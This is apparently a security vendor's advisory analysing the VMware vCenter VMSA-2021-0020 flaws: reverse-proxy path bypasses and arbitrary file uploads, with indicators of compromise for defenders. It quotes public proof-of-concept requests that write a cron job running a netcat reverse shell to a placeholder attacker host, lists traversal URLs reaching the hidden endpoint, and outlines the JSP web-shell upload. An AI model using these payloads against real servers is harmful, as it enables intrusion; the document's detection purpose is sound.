Technical Analysis: vCenter VMSA-2021-0020

On September 21, 2021, VMware released VMSA-2021-0020 detailing information on 19 vulnerabilities affecting vCenter Server. Some of these can be exploited independently, or in conjunction, to remotely execute arbitrary code on vulnerable systems.

Following the disclosure, the United States Cybersecurity and Infrastructure Security Agency (CISA) advised all affected organizations to take immediate action. They predicted a high likelihood that foreign actors would move quickly to exploit the vulnerability. More recently, increased scanning for vCenter instances has been reported, and active exploitation has been confirmed.

By September 27, 2021, the Randori Attack Team had successfully developed a reliable working exploit, tested it in a lab environment and began leveraging the capability as part of Randori’s continuous and automated red team platform. For defenders looking for a way to determine whether or not they’ve been compromised, indicators of exploitation for these CVEs are included below. Jump ahead if that’s what you’re looking for.

VMware vCenter is widely adopted in the enterprise and has been observed in Randori client environments. Our research shows the vulnerabilities addressed in VMSA-2021-0020 are serious issues, and affected organizations should take immediate action to ensure the security of impacted devices. It’s important to note that this vulnerability only affects vCenter versions 6.5, 6.7, and 7.0. Organizations running earlier or later versions are not at risk to these specific vulnerabilities.

The mitigation steps provided by VMware are clear, but the Randori Attack Team encourages those with exposed instances of affected vCenter Server to ensure they have monitoring in place. They should also review any logs between September 21 and when mitigations are applied for unusual activity.

The Randori Attack Team is continuing to monitor the situation and will update this blog as we learn more.

Vulnerability Analyses

As the vulnerabilities patched in VMSA-2021-0020 allow for myriad and varied combinations and methods of exploitation, the following sections will delve into their teleological capabilities as investigated by the Randori Attack Team. All the vulnerabilities discussed have been exploited in our lab environment. At this point in time, we’ll only share information that is useful to defenders looking for indicators of compromise, and not disclose the full exploit.

HTTP Reverse Proxy Bypass(es)

There are two vulnerabilities mentioned that deal with reverse proxy bypasses (CVE-2021-22017 and CVE-2021-22006). To understand the impact of this type of issue a brief explanation of vCenter’s HTTPS attack surface is required.

VMware vCenter has a number of web applications reachable via the external HTTPS interface listening on TCP port 443. There also exist URLs that are reserved for vCenter to use internally and are restricted to local connections from the system itself. The reverse proxy running on vCenter governs whether an incoming request is allowed to reach the (usually more sensitive) internal endpoints. It does this by mapping the source of the request and the URL requested to a set of rules. On vCenter, these rulesets reside in:

/etc/vmware-rhttpproxy/endpoints.conf.d/

For example, here is a rule we’ll refer to later that redirects external HTTPS connections to a locally listening service on port 15080:

/analytics/telemetry/ph/api/hyper/send local 15080 redirect allow

Exploitation

If a requested URL does not match (or can be made to incorrectly match) a rule, unintended routing of the request can result. This type of vulnerability is commonly referred to as a “Confused Deputy” problem (and more formally categorized as CWE-441 Unintended Proxy or Intermediary).

In the case of the vulnerabilities fixed by VMware, the reverse proxy is vulnerable to parsing URLs that contain a directory traversal of the form:

For example, if an attacker wanted to reach an otherwise restricted URL such as:

·         /example/restricted/admin.jsp

they could request:

·         /example/allowed/..;/restricted/admin.jsp

This can be utilized to exploit either of the two arbitrary file upload vulnerabilities referred to in sum as CVE-2021-22005.

Arbitrary Upload in AsyncTelemetryController

One of the issues addressed in VMSA-2021-0020 is an arbitrary file upload affecting the AsyncTelemetryController interface. This endpoint is reachable by sending a POST request to one of the two following URLs:

·         /analytics/telemetry/ph/api/hyper/send

·         /analytics/telemetry/ph-stg/api/hyper/send

There exists a directory traversal issue that can be abused by a remote attacker to execute remote code on the system. This vulnerability requires a non-default configuration of vCenter. Specifically, the system must be enrolled in the VMware Customer Experience Improvement Program (CEIP), which is opt-out by default.

Exploitation

Proof-of-concept code is now public demonstrating how this can be achieved in the affected configuration. The example issues a POST request with a malicious parameter specifying the location to write a cron job that invokes a reverse shell to connect to the attacker:

https://HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/NAME" -H Content-Type: -d "* * * * * root nc -e /bin/sh ATTACKERHOST PORT"

Detection

The following characteristics can be be used to identify exploitation attempts:

Anywhere in the request URL contains:

o    /analytics/telemetry/ph/api/hyper/send ; or

o    /analytics/telemetry/ph-stg/api/hyper/send

The _i parameter contains directory traversal characters of the form:
- ../
The /etc/cron.d directory contains a file with extension .json

Due to the reverse proxy bypass, the entirety of the URL should be inspected, not just the beginning. For example this form of request may be possible (but was not tested by Randori):

https://HOST/analytics/cloudhealth/sdk/..;/..;/..;/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/NAME” -H Content-Type: -d “* * * * * root nc -e /bin/sh OTHERHOST PORT”

Arbitrary Upload in DataAppController

In isolation, the impact of this vulnerability appears to be low as the endpoint is not directly reachable remotely. However, when used in conjunction with a reverse proxy bypass, it can be abused to execute remote code.

This vulnerability is similar conceptually to the AsyncTelemetryController issue, but differs in a few key ways:

It affects default configurations of vCenter.
The endpoint is not directly reachable remotely.
There exist less restrictions on the name, content, and location of the file uploaded.

Exploitation

The vulnerable endpoint URL is

·         /analytics/ph/api/dataapp/agent

but is not allowed by the reverse proxy ruleset defined in:

·         /etc/vmware-rhttpproxy/endpoints.conf.d/analytics-proxy.conf

Using the proxy bypass vulnerability, this endpoint can be reached by sending any of the following URLs or variations thereof (where $DATAAPP is analytics/ph/api/dataapp/agent):

/analytics/cloudhealth/sdk/..;/..;/..;/$DATAAPP
/analytics/ceip/sdk/..;/..;/..;/$DATAAPP
/analytics/ceip/api/state/..;/..;/..;/..;/$DATAAPP
/analytics/healthstatus/..;/..;/$DATAAPP
/analytics/resourcebundle/..;/$DATAAPP
/analytics/telemetry/ph/api/hyper/send/..;/..;/..;/..;/..;/..;/$DATAAPP
/analytics/telemetry/ph-stg/api/hyper/send/..;/..;/..;/..;/..;/..;/$DATAAPP
/analytics/telemetry/ph/api/level/..;/..;/..;/..;/..;/$DATAAPP
/analytics/telemetry/ph-stg/api/level/..;/..;/..;/..;/..;/$DATAAPP

Once the endpoint has been accessed, the code within the DataAppController code can be leveraged to upload a file with completely controlled contents to an arbitrary location, owned by the root user.

Detection

As exploitation of this vulnerability must make use of the reverse proxy bypass discussed earlier, that detection guidance can also be applied here.

The most direct way to exploit this, and the method public proof-of-concepts are currently mentioning, is to create a JSP web shell within a web accessible directory and then issue commands to it via subsequent requests.

There are two requests that must occur to upload a file to the system:

·         /analytics/ph/api/dataapp/agent

This request will contain a JSON body

·         /analytics/ph/api/dataapp/agent?action=collect

This request will contain an JSON body with embedded XML
The XML will contain the contents of the uploaded JSP file

Afterwards, requests are made to the uploaded JSP file. Public exploit code is utilizing an identifiable method to do so. The requests are currently being made to:

·         /idm/..;/$RANDOM.jsp

where RANDOM is a randomly generated string. However, due to the reverse proxy ruleset, the following URLs are also valid:

/websso/..;/$RANDOM.jsp
/openidconnect/..;/$RANDOM.jsp
/afd/..;/$RANDOM.jsp
/lookup/..;/$RANDOM.jsp
/vmdir/..;/$RANDOM.jsp

This will result in the following artifacts on the vCenter system that are indicative of an attack:

A JSP file in /usr/lib/vmware-sso/vmware-sts/webapps/ROOT
Recently created and randomly named files in/etc/vmware-analytics/agents
- The files contain the following from public exploits:

§  deploymentSecret=abc

§  collectorInstanceId=test2

Recommended Actions

Based on our research, we can confirm that these vulnerabilities are very serious issues and affected organizations should take immediate action to ensure the security of impacted devices.

Organizations that have or had affected vCenter versions exposed to the Internet, since the vulnerability was made public on September 21, should assume that an adversary may have gained access to their network and review historical logs for anomalous behavior, such as abnormal usernames or source IP connections, and signs of compromise.

Organized concerned they may have vCenter exposed to the internet, can find out by requesting a free Randori attack surface review with our team of experts.